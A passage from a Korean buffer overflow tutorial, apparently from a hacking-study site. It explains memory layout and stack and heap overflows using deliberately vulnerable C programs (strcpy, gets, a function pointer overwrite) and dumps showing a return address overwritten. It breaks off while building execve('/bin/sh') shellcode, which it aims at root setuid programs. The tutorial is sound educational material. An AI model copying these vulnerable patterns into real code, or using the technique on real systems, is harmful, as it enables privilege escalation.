잘 만들어진 버퍼오버플로우 문서
1. 오버플로우란?
2. 이것을 알아야....기초정보
3. 이것도 알아야....중급정보
4. 이것까지?........고급정보
5. 예를들면?........실전연습
6. 언더플로우?......포멧스트링
7. 감사의 말
8. 참고자료
--------------------------------------------------------------------------------
1. 오버플로우란?
자 먼저 오버플로우가 뭔지 부터 알아보고 넘어가도록 하겠습니다. 오버플로우란 뭔가를 담는 그릇이 있을때 그 그릇의 용량을 초과해서 무엇을 담을려고 하면 흘러넘치는 현상이 발생합니다. 여러분이 식탁위에 컵을 놓고 거기에 물을 넣는다면 물이 얼마나 들어가는지 눈으로 보면서 물을 따릅니다. 그런데, 컵에 넣을수 있는 양보다 많은 물을 부으면 어떻게 됩니까? (당연히 엄니나 마누라한테 줘 터지겠죠....) 흘러넘친 물이 식탁을 적시고, 의자도 적시고, 바닥에도 떨어지고 엉망이 되겠죠? 이런 현상은 컴퓨터내부의 세계에서도 발생합니다. 프로그램을 작성하는 사람이 프로그램에 입력하는 자료의 양을 통제하지 않으면 프로그램내에 자료가 흘러넘치는 상황이 발생하고, 이것은 프로그램이 이상한 동작을 하게되는 원인이 됩니다. 해커들은 이러한 자료의 넘침을 공부하고 분석하여 일부러 프로그램이 원하는 양보다 많은양의 자료를 넣고, 프로그램을 자신이 원하는 상태로 실행하도록 할 수있습니다.
컵도 종이, 유리, 플라스틱 등등등 여러가지가 있죠? 컴퓨터 프로그램에서 자료를 저장하는 창고도 여러가지가 있습니다. 스택(stack)과 힙(heap)이 프로그램에서 자료를 저장하는 컵입니다. 따라서 스택을 넘치게 하는것을 스택오버플로우(Stack OverFlow)라고 하고 힙을 넘치게 하는것을 힙오버플로우(Heap OverFlow)라고 합니다. 스택과 힙에 대해서는 다음장에서 배우게 되니까, 이런것이 있다..라고 생각하고 넘어가구요...또 한가지 생각해봐야 되는것이 있습니다. 밥먹다 모질라서 밥그릇을 박박긁어서 먹는것을 생각해 봅시다. 만약 박박 긁는것을 계속하면 어떻게 될까요? (구멍이 나든지 깨지든지...또 터지겠지...T.T) 프로그램한테도, 가지고 있지도 않은 정보를 내놓으라고 박박 긁으면 구멍이 납니다. 이것이 포맷스트링 버그입니다. 다음장에서 왜 이러한 오버플로우와 포맷스트링 버그가 생기게 되는지 알아보도록 하겠습니다.(프레임포인터 오버플로우 라는것도 있는데, 이것은 사용하게될 경우가 매우 적을것 같네요..)
--------------------------------------------------------------------------------
2. 이것을 알아야...기초정보
이제 여러분은 스택오버플로우와 힙오버플로우가 말 그대로 어떤것을 넘치게 한다라는 것을 이해를 하시리라 생각합니다. 그럼 프로그램 세계로 들어가서 오버플로우가 일어나는 과정에 대해서 알아보기 전에 기초적으로 알아야 되는 사항에 대해서 먼저 공부하도록 하겠습니다. 이부분에 대해서 소홀히 하고 나중에 나오는 소스코드만을 이용한다면, 스크립트키디의 불명예를 벗을수가 없습니다. 읽어보시고 이해가 않되시면 몇번이고 다시 읽어서 이해하고 넘어 가도록 하고 그래도 않되면 시중에 나와있는 책을 참고하시던지 가까이에 있는 분들에게 도움을 청하시기 바랍니다.
2.1 실행상태에 있는 프로그램의 기본구조
+-------------+ 낮은 메모리 주소
| |
| TEXT |
| |
+-------------+
|(초기화 됨) |
| Data |
| |
| |
|(초기화 않됨)|
+-------------+
| Heap |
| | |
| | |
| V |
| |
| A |
| | |
| | |
| Stack |
| |
| |
|(환경변수들) |
+-------------+ 높은 메모리 주소
<그림1> 프로세서의 메모리 구조
위의 그림은 컴파일되어 실행상태에 있는 프로그램의 메모리를 요약하여 나타낸 것입니다. TEXT를 프로그램의 실행코드를 나타내고 DATA는 프로그램 컴파일시에 할당된 데이터용 메모리 영역입니다. 다음에 나타나는것이 필요에 따라서 크기가 줄었다 늘었다 하면서 가변적으로 할당해서 사용하는 메모리 영역입니다. TEXT영역은 실행코드가 들어 있으면서 읽기만 가능한 영역입니다. 따라서 이 지역에 뭔가를 쓸려고 하면, 운영체제가 욕을 합니다.(영역침입에러 라구 하구요 Unix에서는 Segmantation violation이라는 욕이 나오구요, W1nd0ws에서는 얼마나 줘 터졌는지는 몰라도 시퍼런 화면에 가득 욕을 써서 내보냅니다.) 다음은 자료의 저장과 계산등을 위해서 사용하는 메모리 영역이고 따라서 읽기와 쓰기가 가능한곳들입니다. C프로그램을 기준으로 예를 들면( 사실은 C밖에 몰라요...T.T) 스택은 다음과 같은 경우입니다.
char buffer[256];
int i;
long l;
힙은 프로그램에서 동적으로 메모리를 할당하여 사용하는것으로 다음과 같습니다.
char buffer = (char *)malloc(BUFSIZE);
또 다른종류로 BSS가 있는데 이것은 다음과 같이 씁니다.
static char buffer[5];
static int i;
이야기가 어려워지기 시작했나요?....그런것 같아요 쓸말도 없어요...(퍼버벅~~ㅠ.ㅠ) 이제 프로세서(실행중인 프로그램)의 기본구조를 알았으니, 그중에 우리가 관심이 있는 스택에 대해서 알아볼까요?
2.2 스택은 어떻게 동작하나? 어떤 모양이지?
스택은 말로 설명하기엔 좀 그런거 같구, 또 아스키 그림을 하나 그려보죠..^^
--------------+ 눌러넣는 부분
|
| | |
| | |
| V |
+-------------------+
| 마지막에 넣은것 |
+-------------------+
| ... |
| ... |
| ... |
+-------------------+
| 세번째 넣은것 |
+-------------------+
| 두번째 넣은것 |
+-------------------+
| 처음 넣은것 |
+-------------------+
| Z Z Z Z |
| Z 스프링 Z |
| Z Z Z Z |
+-------------------+
<그림2> 스택의 모양
위의 그림이 스택의 모양입니다.(자아알 그렸다!) 위의 그림에서 보면 알겠지만, 스택은 먼저넣은것이 가장 아래로 내려가고, 나중 넣은것이 가장 위에 있게 됩니다. 따라서 꺼낼때에 가장 나중에 넣은것이 가장 먼저 나오게 됩니다. Last In First Out이라구 해서 LIFO라구 한답니다. 프로그램이 인수를 가지고 어떤 함수를 부를때에 위의 스택에 인수를 넣어놓고 함수 한테, 야~~ 이거 가져가~~ 하고 이야기 하면 함수에서 인수를 꺼내서 쓰게 되는거죠(사실은 꺼내지는 않고 참조만 한답니다.) 다음장에서 프로그램의 예와 같이 스택이 동작하는 것에 대해서 다시 한번 알아 봅시다.
2.3 자세하게(?) 알아본 스택의 구조
다음은 일반적인 프로그램의 가상코드입니다.
실행순서 실행내용
1 func(char *str) {
2 char buf[10];
3 print("%s\n", str);
4 }
5
6 main() {
7 char *str1="방송중!";
8 char *str2="아~아~아~";
9 func(str1, str2);
10 printf("잘 된다..^^\n");
11 exit();
12 }
위의 프로그램은 main()이 있는 6번 부터 실행하게 됩니다. str1이라고 하는 변수에 "방송중!"이라는 값을 넣고 함수 func를 부르게 되어있는데 함수 func에서 스택의 모양을 살펴보면 다음과 같습니다.
메모리의 낮은곳 | |
+----------+ <-- 스택의 꼭대기
| [ buf ] | <-- func내부의 변수
+----------+ <-- 참조의 기준위치
| [ 10번 ] | <-- func가 종료된후 실행해야 하는 위치
+----------+
| [ str1 ] |
+----------+
| [ str2 ] |
메모리의 높은곳 +----------+ <-- 스택의 바닥
<그림3> 함수func에서 스택의 구조
이 내용은 먼저 함수 func를 부를때에 두번째 인수인 str2를 먼저 스택에 넣고 그 위에 첫번째 인수인 str1을 올려놓은 다음 함수 func가 종료되고 나서 그다음에 실행할 위치인 10번의 위치를 스택에 넣게 됩니다. 그리고 함수 func에서 사용할 내부변수인 buf를 위해 필요한 영역을 밀어넣게 됩니다. str1이나 str2의 값을 알고 싶으면 참조의 기준위치에서 아래로 두번째와 세번째가 인수인 str1이나 str2라는것을 알수 있습니다. 사실은 또하나의 내용이 스택에 들어가는데, 이것을 이용하여 오버플로우시키는 방법도 있습니다. 자세한 것은 다음장에서 알아보도록 하겠습니다. 그리고 위의 모양을 잘 살펴보면 오버플로우라는 것이 어떻게 이루어지는지 짐작을 할 수 있습니다. 만약 buf에 들어가는 값이 넘처흘러서 "[ 10번 ]"이라는 함수func가 종료된후 다음에 실행해야 할 위치에 다른값을 넣으면 어떻게 될까요? 만약 "[ 11번 ]"이라고 바꿔놓게 된다면? 예...그렇습니다. 함수func가 종료되고 나서 10번의 printf문을 실행하는것이 아니고 11번의 exit함수를 실행하게 되는 것입니다. 다음장에서는 버퍼오버플로우보다 더 확실하게 오버플로우를 시킬수 있는 힙오버플로우에 대해서 알아보도록 하겠습니다.
2.4 힙(Heap)은 어떻게 사용하나?
이번엔 힙에 대해서 알아보겠습니다. 힙은 프로그램이 실행하면서 동적으로 할당해서 사용하는 영역을 말하는데, 스택은 운영체제나, 프로그램을 컴파일할때에 컴파일러에서 변수와 인수등의 사용영역을 동적으로 할당하지만 힙은 프로그래머가 malloc같은 메모리 할당함수를 이용하여 프로그램에서 사용할 때에 할당됩니다. 프로그램의 간단한 예를 들면 다음과 같습니다.
1 int main()
2 {
3 char *buf1 = (char *)malloc(10), *buf2 = (char *)malloc(5);
4 gets(buf1);
5 }
위의 소스코드는 스택오버플로우의 소스와 비교할때에 아주 다른 형태의 오버플로우를 일으킬수 있습니다. gets함수는 프로그램 사용자로 부터 자료를 입력받을때 사용하는 함수 입니다. 위의 프로그램을 실행하면 사용자는 키보드등을 이용하여 자료를 입력하는데, gets함수가 입력받는 자료의 크기를 전혀 검사하지 않기 때문에 힙오버플로우가 발생합니다. 위 프로그램의 메모리 구조는 다음과 같이 나타낼 수 있습니다.
buf1 buf2
[1234567890][12345]
이때에 만약 buf1에 10개이상의 자료를 입력하면 어떻게 될까요? 흘러넘친 자료는 buf2의 영역에 기록이 됩니다. buf2가 아무것도 없이 공백인 상태에서 buf1에 11개의 A를 입력하게 되면 다음과 같이 됩니다.
buf1 buf2
[AAAAAAAAAA][A ]
이때 만약 buf2가 우리가 할당한 메모리 영역이 아니고 어떤 함수를 실행시키는 포인터였다면 어떻게 될까요? 아마도 원하는 함수가 실행되지 않고 엉뚱한 결과를 나타내었을 것입니다.
위와 같이 힙오버플로우는 스택과는 다르게 인접한 영역의 침범으로 인한 공격입니다. 즉 힙오버플로우는 heap영역에 있는 함수포인터등을 공격하여 내가 원하는 함수를 실행하도록 하는 것입니다.
--------------------------------------------------------------------------------
3. 이것도 알아야....중급정보
지금까지 여러분은 오버플로우를 위한 기초정보를 공부하였습니다. 이제부터는 실질적인 오버플로우를 위한 내용을 알아보도록 하겠습니다. 위에서 공부한 내용은 제가 최대한 쉽게 설명하였는데, 이해가 않되면 다시 읽고나서 아래의 내용을 공부하시기 바랍니다. 아래의 내용은 실제 제 컴퓨터에서 예제소스를 실행해 가면서 나타나는 내용을 덤프를 떠가면서 보여드리는 것입니다. 따라서 여러분이 다른 컴퓨터에서 실습을 해보시면 약간씩 다른 상황이 나타나게 되니 참고하시기 바랍니다.
3.1 함수를 부를때 스택에 들어가는 정보
1 void func(char *argv)
2 {
3 char buf[40];
4 strcpy(buf, argv);
5 }
6
7 int main(int argc, char **argv)
8 {
9 func(argv[1]);
10 printf("정상종료 되었습니다.\n");
11 }
<예제1> 오버플로우가 일어나는 프로그램
예제1을 실행가능한 프로그램으로 만들기 위해서 다음과 같이 컴파일과정을 거치고 실행합니다.
river@River:/examples$ cc exam1.c -o exam1
river@River:/examples$ ./exam1 "야~~~~~~"
야~~~~~~
정상종료 되었습니다.
river@River:/examples$
위의예제는 오버플로우가 일어나는 전형적인 예제프로그램 입니다. C프로그램을 모르는 분과 2.3장에서의 설명을 보충하기 위하여 예제1에서 스택에 들어가는 내용들에 대해서 다시한번 알아 보도록 하겠습니다. 먼저 main함수에서 프로그램 실행시에 넘겨준 "야~~~~~"의 주소를 스택에 넣습니다. 함수func가 종료된 다음의 실행할 위치인 11번째 줄의 주소를 스택에 넣습니다. 그리고 고급정보에서 배우시겠지만 프레임포인터라고 하는것을 스택에 넣습니다. 여기까지 실행하고 나면 함수func의 실행지점인 3번줄로 이동합니다. 함수func의 내부에서 사용하는 buf를 위한 40개문자를 위한 영역을 스택에 넣습니다. 지금까지 스택에 들어간 내용들을 그림으로 다시한번 살펴보면 다음과 같습니다.
스택의 꼭대기 [1234] 함수 func에서 사용하는
[5678] buf를 위해서 집어넣은 스택
[....]
[..40]
[sfp ] 나중에 설명할 프래임 포인터(saved frame pointer)
[ret ] main함수의 다음 실행위치
스택의 바닥 [argv] "야~~~~~"의 주소
<그림4> 함수func에서 스택에 들어있는 내용
자 그럼 정말로 그렇게 되는지 확인하기 위해서 프로그램의 내부를 한번 들여다 볼까요? 다음은 PLUS에서 제공한 dumpcode를 이용해서 예제1의 스택을 덤프한 내용입니다. 조금 복잡해 보여도 천천히 살펴보시기 바랍니다.
river@river:/example$ ./exam1 "야~~~~~"
0xbffffa68 72 86 04 08 68 fa ff bf 00 01 00 00 30 30 01 40 r...h.......00.@
0xbffffa78 13 08 0e 40 85 9c 00 40 d0 35 01 40 b0 38 01 40 ...@...@.5.@.8.@
0xbffffa88 70 81 04 08 be df 7e 7e 7e 7e 7e 00 fa 02 0e 40 p.....~~~~~....@
0xbffffa98 64 97 04 08 30 30 01 40 13 08 0e 40 01 00 00 00 d...00.@...@....
0xbffffaa8 ec 02 0e 40 d0 30 01 40 d0 fa ff bf d4 fa ff bf ...@.0.@........
0xbffffab8 a3 86 04 08 51 fc ff bf e0 fa ff bf 68 8e 03 40 ....Q.......h..@
0xbffffac8 78 00 0f 40 00 9e 00 40 f0 fa ff bf 10 fb ff bf x..@...@........
0xbffffad8 42 0a 03 40 02 00 00 00 3c fb ff bf 48 fb ff bf B..@....<...H...
0xbffffae8 ec 86 04 08 3c fb ff bf 10 fb ff bf 09 0a 03 40 ....<..........@
0xbffffaf8 68 2a 01 40 02 00 00 00 90 83 04 08 3c fb ff bf h*.@........<...
0xbffffb08 30 09 03 40 98 f2 0e 40 00 00 00 00 b1 83 04 08 0..@...@........
0xbffffb18 8c 86 04 08 02 00 00 00 3c fb ff bf e4 82 04 08 ........<.......
0xbffffb28 ec 86 04 08 50 a3 00 40 34 fb ff bf 90 30 01 40 ....P..@4....0.@
0xbffffb38 02 00 00 00 49 fc ff bf 51 fc ff bf 00 00 00 00 ....I...Q.......
0xbffffb48 59 fc ff bf 8b fc ff bf 9e fc ff bf a5 fc ff bf Y...............
0xbffffb58 b4 fc ff bf c4 fc ff bf cf fc ff bf 74 fe ff bf ............t...
야~~~~~
정상종료 되었습니다.
river@river:/example$
<그림5> exam1의 정상실행시 스택의 모양
그림5의 내용을 살펴보면 0xbffffa8c부터 함수func의 내부 변수인 buf의 영역이 시작하는 것을 알수 있습니다.
0xbffffa88 70 81 04 08 be df 7e 7e 7e 7e 7e 00 fa 02 0e 40 p.....~~~~~....@
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
여기서부터 buf의 영역입니다.
0xbffffad8 42 0a 03 40 02 00 00 00 3c fb ff bf 48 fb ff bf B..@....<...H...
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^
여기까지 buf입니다. sfp의 영역
0xbffffae8 ec 86 04 08 3c fb ff bf 10 fb ff bf 09 0a 03 40 ....<..........@
^^^^^^^^^^^ ^^^^^^^^^^^
ret의 영역 argv의 영역("야~~~~~"의 주소)
3.2 스택 오버플로우가 일어나는 상황
그림4에 나오는 스택의 구조를 살펴보면서 위이 내용을 살펴보면 0xbffffae8에 main함수의 다음 실행위치가 들어 있다는것을 알 수 있을 것입니다. 즉 함수func의 실행을 마치고 나서 다음 실행할 위치는 0x080486ec라는 것을 알 수 있습니다. (제가 사용하는 기계는 Intel CPU를 사용하는 일반 PC입니다. 따라서 4바이트의 포인터가 메모리에 저장될 때에 역순으로 저장됩니다.) 그럼 일부러 입력하는 자료의 길이를 48바이트로 하면 어떤 상황이 벌어질까요? 한번 해봅시다. (궁금하면 못참아~~~)
river@river:/example$ ./exam1 "123456789012345678901234567890123456789012345678"
0xbffffa38 72 86 04 08 38 fa ff bf 00 01 00 00 30 30 01 40 r...8.......00.@
0xbffffa48 13 08 0e 40 85 9c 00 40 d0 35 01 40 b0 38 01 40 ...@...@.5.@.8.@
0xbffffa58 70 81 04 08 31 32 33 34 35 36 37 38 39 30 31 32 p...123456789012
0xbffffa68 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 3456789012345678
0xbffffa78 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 9012345678901234
0xbffffa88 35 36 37 38 00 fc ff bf b0 fa ff bf 68 8e 03 40 5678........h..@
0xbffffa98 78 00 0f 40 00 9e 00 40 c0 fa ff bf e0 fa ff bf x..@...@........
0xbffffaa8 42 0a 03 40 02 00 00 00 0c fb ff bf 18 fb ff bf B..@............
0xbffffab8 ec 86 04 08 0c fb ff bf e0 fa ff bf 09 0a 03 40 ...............@
0xbffffac8 68 2a 01 40 02 00 00 00 90 83 04 08 0c fb ff bf h*.@............
0xbffffad8 30 09 03 40 98 f2 0e 40 00 00 00 00 b1 83 04 08 0..@...@........
0xbffffae8 8c 86 04 08 02 00 00 00 0c fb ff bf e4 82 04 08 ................
0xbffffaf8 ec 86 04 08 50 a3 00 40 04 fb ff bf 90 30 01 40 ....P..@.....0.@
0xbffffb08 02 00 00 00 20 fc ff bf 28 fc ff bf 00 00 00 00 .... ...(.......
0xbffffb18 59 fc ff bf 8b fc ff bf 9e fc ff bf a5 fc ff bf Y...............
0xbffffb28 b4 fc ff bf c4 fc ff bf cf fc ff bf 74 fe ff bf ............t...
123456789012345678901234567890123456789012345678
세그멘테이션 오류
river@river:/example$
<그림6> 48바이트의 자료를 입력하여 오버플로우를 일으켰다.
출력되는 내용이 다르죠? 우선 실행 결과부터 세그멘테이션 오류(segmantation violation)으로 나타납니다. 2장의 내용이 기억납니까?..^^ 위의 덤프내용을 가지고 다시한번 분석해 봅시다. 이번에 buf의 위치는 0xbffffa5b에서 부터 시작합니다.(제가 중간에 프로그램을 한번다시 컴파일 했구요. 입력하는 내용에 따라 약간씩 스택의 내용은 달라진답니다.)
0xbffffa58 70 81 04 08 31 32 33 34 35 36 37 38 39 30 31 32 p...123456789012
^^ buf의 시작
0xbffffa78 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 9012345678901234
^^^^^^^^^^^
sfp의 내용
0xbffffa88 35 36 37 38 00 fc ff bf b0 fa ff bf 68 8e 03 40 5678........h..@
^^^^^^^^^^^ ^^^^^^^^^^^
ret의 내용 argv의 주소
0xbffffa98 78 00 0f 40 00 9e 00 40 c0 fa ff bf e0 fa ff bf x..@...@........
위의 내용을 살펴보면 sfp의 내용과 ret의 내용이 각각 "31 32 33 34"와 "35 36 37 38"로 변경되어 있는 것을 알 수 있습니다. 원래의 값은 "xx xx ff bf" 와 "xx xx 04 08"정도로 되어 있어야 하는데 입력한 값이 넘처흘러서 위와 같이 된것입니다. 그럼 함수func가 종료 하고 다음에 실행할 위치는 아마도 0x38373635가 될것 입니다. 전혀 엉뚱한 주소가 되었습니다. 따라서 프로그램은 정상적인 실행을 하지 못하고 세그멘테이션 오류를 보여주는 것입니다.
3.3 힙오버플로우가 일어나는 상황
다음에는 힙오버플로우가 일어나는 상황에 대하여 알아보도록 하겠습니다.
void func()
{
printf("종료합니다.\n");
}
int main(int argc, char **argv)
{
static char buf[8];
static void (*call)();
printf("[%x]\n", buf);
call = (void (*)())func;
strcpy(buf, argv[1]);
dumpcode( (char *)0x804983c, 256);
call();
}
<예제2> 힙오버플로우의 예제
위의 프로그램은 힘오버플로우의 예제입니다. C프로그램을 읽어보실 수 있는 분들은 아시겠지만, 시험을 위하여 buf의 주소를 인쇄하고 있고, 제 기계에서의 실행 상황을 보여드리기 위해 dumpcode라는 함수를 이용해서 힙의 내용을 보여주고 있습니다. 위의 프로그램을 컴파일 하고 실행한 결과는 다음과 같습니다.
river@river:/example$ ./exam2 test
[804983c]
0x0804983c 74 65 73 74 00 00 00 00 44 86 04 08 00 00 00 00 test....D.......
0x0804984c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x0804985c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x0804986c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
종료합니다.
river@river:/example$
<그림7> 힙오버플로우 프로그램의 정상적인 실행시 힙의 구조
위의 내용을 보시면 0x0804983c에서부터 buf가 8바이트를 차지하고 있고 함수포인터인 call이 그다음에 4바이트를 차지하고 있는것을 알 수 있습니다. 이제 9바이트의 자료를 exam2에 입력해보도록 합시다.
river@river:/example$ ./exam2 123456789
[804983c]
0x0804983c 31 32 33 34 35 36 37 38 39 00 04 08 00 00 00 00 123456789.......
0x0804984c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x0804985c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x0804986c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
세그멘테이션 오류
river@river:/example$
<그림8> 힙오버플로우 프로그램의 비정상적인 실행시 힙의 구조
역시 생각대로 세그멘테이션 오류가 발생하는군요...^^ 이제 여러분은 왜 이런 현상이 일어나는지 짐작을 하실수 있으실 겁니다. 예제2번 프로그램은 BSS영역에 할당되는 buf와 call이라는 변수를 가지고 있고 call이라는 변수는 함수를 실행하기 위해서 사용하는 함수 포인터 입니다. 그런데 call의 내용을 이상한 값(여기서는 0x08048644에서 0x08040039라는 값)으로 변경해버리니까 당연히 세그멘테이션 오류라는것이 나타나는 것입니다.
여러분은 지금까지 오버플로우가 일어나는 상황에 대하여 공부하였습니다. 실제로 해킹(?)을 하기 위해서는 다른 내용에 대해서도 좀더 알고 계셔야 합니다. 다음장에서 위에서 공부한 것을 이용해서 오버플로우를 일으키고 우리가 원하는 다른 프로그램을 실행하는 것에 대해서 알아보도록 합시다.
--------------------------------------------------------------------------------
4. 이것까지?........고급정보
다음은 실제 해킹을 위해서 사용되는 쉘코드와 이것을 이용해서 쉘을 실행하는 것에 대하여 알아보도록 하겠습니다. 쉘코드를 이해하기 위해서는 약간의 어셈블리프로그램의 지식이 필요합니다. 어렵더라도 자세히 읽어보고 넘어가시기 바랍니다.
4.1 쉘코드
쉘은 유닉스계열의 컴퓨터에서 사용하는 명령처리기 입니다. w1nd0ws의 DOS창을 생각하면 쉬울것 같습니다. 해커들이 오버플로우를 이용한 공격에서 쉘을 사용하는 이유는 root setuid 프로그램을 오버플로우를 시켜서 쉘을 실행하게 되면 root의 권한 으로 모든 명령어 들을 실행할 수 있기 때문입니다. 우선 오버플로우를 시키는 프로그램에서 쉘을 실행하는 방법에 대하여 생각 해보도록 합시다.
+----------+ +----------+
| 공격대상 | 오버플로우 | |
| | ----------------> | 쉘 | ---------> 또다른 명령
| 프로그램 | | |
+----------+ +----------+
<그림9> 오버플로우에의한 쉘의 실행과정
그림9는 오버플로우를 이용해서 쉘을 실행하고 쉘에서 또다른 명령어나 프로그램을 실행하는 예를 그림으로 나타낸것 입니다. 공격대상 프로그램이 어떻게 하면 쉘을 실행할 수 있을 까요? 그것은 C프로그램을 작성해보면 알 수 있습니다. 대부분의 C프로그램에는 execl, execlp, execle, execv, execvp등의 프로그램화일을 실행하는 함수들이 있습니다. 오버플로우 공격시에는 오버플로우를 시키는 버퍼에 위의 함수중 하나를 포함하는 명령어들을 집어넣고 함수가 종료하고 리턴하는 주소에 여러분이 집어 넣은 execve같은 명령이 있는곳으로 리턴하도록 만듬으로써 쉘을 얻을 수 있는 것입니다. 따라서 여러분은 공격대상프로그램을 공격하기 위해서 쉘을 실행하는 명령어를 집어넣어야 하는 것입니다. 그럼 쉘을 실행하는 명령어는 어떤 과정을 거쳐서 만들어 질까요?
4.1.1 Main함수의 동작과정
쉘코드를 만들기 위해서 C프로그램에서 어떻게 execve를 실행하는지 알아 봅시다.
#include <stdio.h>
#include <unistd.h>
int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = 0;
execve(name[0], name, NULL);
}
<예제3> 쉘을 실행하는 C프로그램
위의 프로그램은 쉘을 실행하는 프로그램입니다. 먼저 위의 프로그램을 다음과 같이 컴파일하고 실행해 봅시다.
river@river:/example$ cc mkshell.c -static -o mkshell
river@river:/example$ ./mkshell
sh-2.03$
우리가 원하는 대로 쉘을 실행시키고 있습니다. 주의할 사항은 컴파일 할 때에 반드시 "-static"을 주고서 컴파일 하십시요. 그렇지 않으면 execve함수의 실행과정을 알 수가 없습니다. 다음에는 프로그램의 흐름을 읽어볼수 있는 디버거인 gdb를 실행하고 main함수의 구조가 어떻게 되어 있는지 살펴봅니다.
sskuk@sskuk:~/public_html/hack/overflow/example$ gdb mkshell
GNU gdb 19990928
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i686-pc-linux-gnu"...
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x80481b4 : push %ebp
0x80481b5 : mov %esp,%ebp
0x80481b7 : sub $0x18,%esp
0x80481ba : movl $0x806e368,0xfffffff8(%ebp)
0x80481c1 : movl $0x0,0xfffffffc(%ebp)
0x80481c8 : add $0xfffffffc,%esp
0x80481cb : push $0x0
0x80481cd : lea 0xfffffff8(%ebp),%eax
0x80481d0 : push %eax
0x80481d1 : mov 0xfffffff8(%ebp),%eax
0x80481d4 : push %eax
0x80481d5 : call 0x804c90c
0x80481da : add $0x10,%esp
0x80481dd : leave
0x80481de : ret
0x80481df : nop
End of assembler dump.
(gdb)
<그림10> gdb의 실행과 메인함수의 구조
조금 복잡한 내용이 나왔죠? 복잡하지만 하나하나 분석해 보도록 합시다. C프로그램을 컴파일하면 CPU가 이해하는 기계어로 번역이 됩니다. 기계어로 번역이 된것을 그나마 사람이 읽어볼수 있도록 어셈블리어로 보여주는 명령어가 gdb에서 disassemble입니다. 위의 예는 main함수의 내용을 어셈블러로 나타낸 상황입니다. 또한 위의 내용은 다음과 같이 컴파일하면 메인함수의 어셈블리어 코드를 획득할 수 있습니다.
river@river:/example$ cc -S mkshell.c -o mkshell.s
river@river:/example$ cat mkshell.s
.file "mkshell.c"
.version "01.01"
gcc2_compiled.:
.section .rodata
.LC0:
.string "/bin/sh"
.text
.align 4
.globl main
.type main,@function
main:
pushl %ebp
movl %esp,%ebp
subl $24,%esp
movl $.LC0,-8(%ebp)
movl $0,-4(%ebp)
addl $-4,%esp
pushl $0
leal -8(%ebp),%eax
pushl %eax
movl -8(%ebp),%eax
pushl %eax
call execve
addl $16,%esp
.L2:
leave
ret
.Lfe1:
.size main,.Lfe1-main
.ident "GCC: (GNU) 2.95.2 20000220 (Debian GNU/Linux)"
river@river:/example$
<예제4> 어셈블리어 코드생성
이제 좀 읽기가 편해 졌죠?..^^
위의 어셈블러(AT&T 어셈블러의 문법입니다.)는 여러분이 생소하다고 생각하고 한가지를 말씀드리면 다음과 같은 명령어의 형태를 가지고 있습니다.
명령어 인수1, 인수2
위에서 명령어가 지시하는것에 따라 인수1을 가지고 인수2에게 작업을 하도록 시키게 됩니다. 우선 "main:"이 있는곳 부터 같이 읽어보도록 하겠습니다. 우선 pushl %ebp라는 명령이 보입니다. 이 명령은 지금까지 사용하던 프래임포인터를 스택에 넣어서 저장하라는 이야기 인데, 2장의 그림3을 보시면 "참조의 기준위치"라고 하는 것이 보일겁니다. 프래임포인터는 스택을 이용하여 함수에 넘겨진 인수나 함수 내부에서 사용하는 변수들을 참조하는 기준 위치가 됩니다. 따라서 어떤 함수가 불려졌을 때에 이전에 사용하던 프래임 포인터를 저장하고 함수가 종료되었을 때에 다시 이를 복구 하여야 원하는 변수나 인수들을 정확하게 인식할 수 있습니다. main함수 에서도 pushl %ebp라는 명령을 이용하여 이전에 사용하던 프래임포인터를 저장하고 있습니다. 그리고 이것을 앞에서 이야기 한것 처럼 saved frame pointer라고 하고 sfp라고 줄여서 표현 했었습니다.(그림4를 참고) 다음에는 movl %esp, %ebp명령입니다. 이 명령은 현재의 스택포인터(sp: stack pointer)를 함수내에서 사용하는 프래임포인터로 사용한다는 이야기 입니다. 다음 명령은 스택포인터를 함수 내부에서 필요로 하는 만큼 감소 시켜서 함수내부에서 사용할 변수영역을 확보하고 있습니다. 여기까지의 과정을 프로시저의 도입부(prolog)라고 합니다. 즉 프로시저의 프롤로그는 함수가 불려질때에 무조건 실행하는 것으로 다음과 같습니다.
1. 이전의 프래임포인터를 저장한다.(pushl %ebp)
2. 새로운 프래임포인터를 만든다. (movl %esp, %ebp)
3. 함수내부 변수 영역을 위해 스택포인터를 조정한다. (subl $24, %esp)
이제 그다음 명령을 살펴보겠습니다. movl $.LC0,-8(%ebp)는 "/bin/sh"의 주소를 name[0]에 할당하는 것입니다. 위의 어셈블러 코드에서 $.LC0:를 보시면 .string "/bin/sh"이라고 하는 부분이 보일겁니다. .LC0:는 "/bin/sh"의 위치를 나타내는 label이라고 합니다. -8($ebp)의 의미는 여러분께서 지금까지 스택의 구조를 열심히 살펴보셨으면 이해 하실겁니다. 즉 프래임포인터(%esp)로부터 -8의 위치에 있는 name[0]을 의미하는 것입니다. 눈치가 빠른 분은 다음줄의 movl $0, -4(%ebp)를 짐작하실 겁니다. movl $0, -4(%ebp)는 name[1]에 0즉 NULL을 할당하는 것입니다. 함수 execve에게 실행하고자 하는 프로그램(/bin/sh)에게 넘겨줄 인수가 더이상 없다는 것을 의미합니다. 다음에 나오는 명령어는 C프로그램에서 함수 execve를 부르는 과정입니다. 눈여겨서 봐주기 바랍니다. pushl $0입니다. 이것은 execve함수를 부를때에 제일 뒤에있는 NULL을 스택에 넣는것입니다. 즉 C프로그램에서 어떤 함수를 부를때 인수가 뒤에서 부터 꺼꾸로 넣어지는 것을 알수 있습니다. 다음의 명령어는 leal -8(%ebp), %eax입니다. leal은 다음에 인수1의 주소를 획득해서 인수2에게 넣어주게 됩니다. 즉 위의 명령은 "/bin/sh"의 